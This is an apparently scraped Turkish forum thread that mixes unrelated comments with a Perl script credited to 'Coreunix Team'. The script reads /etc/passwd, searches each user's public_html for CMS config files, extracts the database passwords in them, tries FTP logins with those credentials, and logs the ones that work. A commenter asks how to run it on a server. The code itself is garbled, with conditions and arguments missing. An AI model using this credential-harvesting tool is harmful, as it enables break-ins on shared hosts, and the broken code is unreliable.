vaay güzelmiş Emekçiler ekmeklerini, emeklerinin karşılığı olarak ve nlenemez tarihi sürecin sonucu olarak mutlaka kazanacaklardır. Şüphesiz bu, zorlu bir dnemdir kısa vadeli ve greceli yenilgilerden geçer.

:)) eyw. güzel bir dküman paylaşmışsın yine Php for SEO nun ardından Php for Gcode

Hocam şu regex kısmına açıklamaları yazaydın on numara şahane olurdu :)

teknik şu perl scripti passwd dosyasındaki userleri çekip mysql dosyasındaki şifre ile ftp giriş yapılıp yapılmadıgını dener yapılıyorsa log dosyasına kaydeder insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.

linux server da deneyebilir sanırım bunu.. perl ile filan mı derlenmesi gerekiyor. teknik bir kaç açıklama yapar ısın. Paslanmış bir uygulama geliştirici.. #AnalistŞart

#!/usr/bin/perl# xcyb. pl v2 for /home/$user/public_html# scanning configurasi Script!!!# Modified By Coreunix Team!!!# Please check ftp connection before enable it.# 0=disable, 1=enablemy $ftp_login = 1;my $datetime = localtime;printf "\n | Coreunix Team 2013 | Please wait loading to scanning...\n";write_log('coreunix. log'," \n". " | Coreunix Team 2013 Link |\n". " \n". " Log Created : $datetime\n\n");open or die ;@etc_passwd=<ETC_PASSWD>;close ;my $total_pubdir = 0;my $total_readable = 0;while { my $pos = index ; my $username = substr($user_list,0,$pos); my $public_path = '/home/'.$username.'/public_html'; if { $total_pubdir++; if }}print " Total users public_html : $total_pubdir\n";print " Total readable public_html : $total_readable\n\n";print " Searching for config files...\n\n";write_log ;foreach $userid print "\n \n\n";write_log ;sub scan_config { my $path = $_ ; my $user = $_ ; my @dir; opendir ; @dir = readdir ; closedir DIR; foreach $file { my $fullpath = $path."/".$file; if { if { if and } else { if or or or or or or or or or or or or or or or or or or or or or ($file eq "e107_config. php") or { my $passwd = get_pass ; if ($passwd!= 1) { if } } } } }}sub get_pass { my $filepath = $_ ; open ; while { my = $_; chomp ; if (($line = m/pass = ' ';/i) or ($line = m/pass = " ";/i) or ($line = m/pass , ' '\);/i) or ($line = m/pass , " "\);/i) or ($line = m/pwd = ' ';/i) or ($line = m/pwd = " ";/i)) { my $pass = $3; if and and and and } } close ;}sub ftp_connect { my $usr = $_ ; my $pwd = $_ ; my $success = 1; use Net::FTP; my $ftp = Net::FTP->new("127.0.0.1", Debug => 0, Timeout => 2); $success = 0 if $ftp->login ; $ftp->quit; if ($success 0) }sub write_log # Coreunix Team 2013!!! insanları Silahsızlandırmak onları kleleştirmek için En iyi Yoldur.